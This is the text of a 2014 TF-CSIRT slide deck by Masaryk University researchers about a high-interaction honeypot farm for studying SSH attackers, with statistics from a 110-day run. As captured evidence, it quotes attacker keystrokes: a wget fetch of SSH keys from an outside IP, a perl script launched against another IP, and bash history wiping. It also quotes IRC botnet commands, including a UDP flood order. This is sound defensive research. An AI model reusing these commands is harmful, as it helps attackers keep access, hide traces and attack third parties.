Recent development of tools to monitor attackers

Daniel Kouril, Jan Vykopal

lastname@ics.muni.cz

43rd TF-CSIRT meeting
18 September, 2014, Rome, Italy
About C4e project

Single point of contact in Czech Rep. for expert advices and know-how in the investigation of cyber crime.

Consortium

– Masaryk University: CSIRT-MU and Faculty of Law
– Risk Analysis Consultants
– Czech Police, Czech National Security Authority and others

Core activities:

– education and training of LEA,
– research and development:
  ▶ forensic and analytic tools and best practices,
  ▶ legal aspects.
Monitoring successful attackers

Motivation

- Based on our operational experience
  - small number serious attacks vs. large volume of “noise”
- Distinguishing between serious and almost harmless activities
  - most attacks come from script-kiddies
  - detection of serious and/or targeted attacks
- Better understanding of incentives and character of attackers
- Much less interested in actual attack vectors, etc.

Approach

- Longer-term monitoring, gathering information from breached nodes
- Allow attackers to do their work and collect evidence
Honeypot-based monitoring

Requirements

– Several places to monitor
  ▶ Host-based monitoring to reveal actions on the node
  ▶ Network level monitoring to access communication with the outside
– Systematic handling of gathered data
– (Semi)-automated operations
– Realistic sandbox but sufficiently contained

Utilization of honeypots

– Farm of high-interaction honeypots and their monitoring
– Largely based on Honeypot project tools
Schema of the solution
Components

Honeypots

– Acting as unmaintained desktops (Linux)
– Sebek kernel module to intercept user’s behavior
– Custom PAM modules to accept SSH attempts

Management system

– Management of multiple honeypots
– Network containment
– Handling of monitoring data (Sebek, pcap, filesystem)

Network level monitoring

– Full packet dumps (pcap format)

Analysis tools
Analysis of Sebek data

- Intercepted important system calls
  - read(2), open(2), fork(2), ...
  - implemented support for execve(2)
  - stored for later evaluation
- read() calls
  - Keystrokes sent via SSH (passed via pipes)

```
 mkdir .ssh
 cd .ssh
 wget http://88.51.233.40/~elearn/authorizedf{L-ARR}{L-ARR}{BSJ_keys
 perl eulalex 133.242.152.72
 rm -rf .bash_history
 touch .bash_history
```

- open() calls
  - Files opened by the attacker
- execve() calls
  - Reconstruction of script runs, non-interactive SSH sessions, ...
Network-level monitoring

- host-based monitoring does not address everything
- network monitoring eases access to communication

Traffic reconstruction

- Input: PCAP trace uploaded via web
- Output: list of reconstructed files ready to download
- Tools: Souslik (based on Bro NSM), Xplico NFAT
- Advantage: developed and maintained by the community
- Limitation: cannot cope with encrypted protocols
Network-level monitoring

Connection graph

- Input: PCAP trace loaded in Wireshark
- Output: connection list presented as graph
- Tool: Wireviz – a plugin for Wireshark
- Advantage: useful view of traffic
- Limitation: no longer maintained
Experiment

- Continuous run for 110 days
- Cca 27000 attempt detected from 350 IP addresses
- Mostly focused on 'root'

<table>
<thead>
<tr>
<th>Username</th>
<th>No of attempts</th>
</tr>
</thead>
<tbody>
<tr>
<td>root</td>
<td>24845</td>
</tr>
<tr>
<td>admin</td>
<td>117</td>
</tr>
<tr>
<td>postgres</td>
<td>93</td>
</tr>
<tr>
<td>oracle</td>
<td>92</td>
</tr>
<tr>
<td>test</td>
<td>62</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>

- 42 successful attacks captured and recorded
  ▶ successful login during SSH password attack
Interesting figures

- Only half of attackers returned after initial breach (21 of 42)
- The rest never actually utilized access to the machine

Out of 21 attacks:

- 11 manual, 7 automated, 3 unclear
- Credential changes: 3x passwd, 2x injected SSH public key
- Only 2 privilege escalations (via public exploits)
- Only 2 attempts to hide traces (deleting logs and/or history)
Monitoring of IRC bot

- Perl bot installed by a user
- monitored over couple of days
- Estimate of the “botnet” based on passive monitoring

RAYDENNN! xx@xx.org PRIVMSG #rdn : !u uptime
KOOPAL! ambra@85.x.x.252 PRIVMSG #rdn : 23:04:45 up 89 days, 20:46, 0 users, load average: 55.91, 55.84, 55.91

▶ cca 10 nodes (unique IP addresses)

- no significant activity after breach, just keep alive msgs,
- cca 22 hours after the deployment, commands to launch DDoS attacks

RAYDENNN! xx@xx.org PRIVMSG #rdn : !u @udp3 69.x.x.132

▶ Only very small fraction reached the target from the honeypot
Summary

– Tools and best practices to monitor attackers and recover artifacts
– We try to build upon existing solutions and extend them if needed
  ▶ Souslik, Sebek
– Results are available to the community
Recent development of tools to monitor attackers

Q&A

Daniel Kouril, Jan Vykopal

lastname@ics.muni.cz

www.c4e.cz

@csirtmu

43rd TF-CSIRT meeting
18 September, 2014, Rome, Italy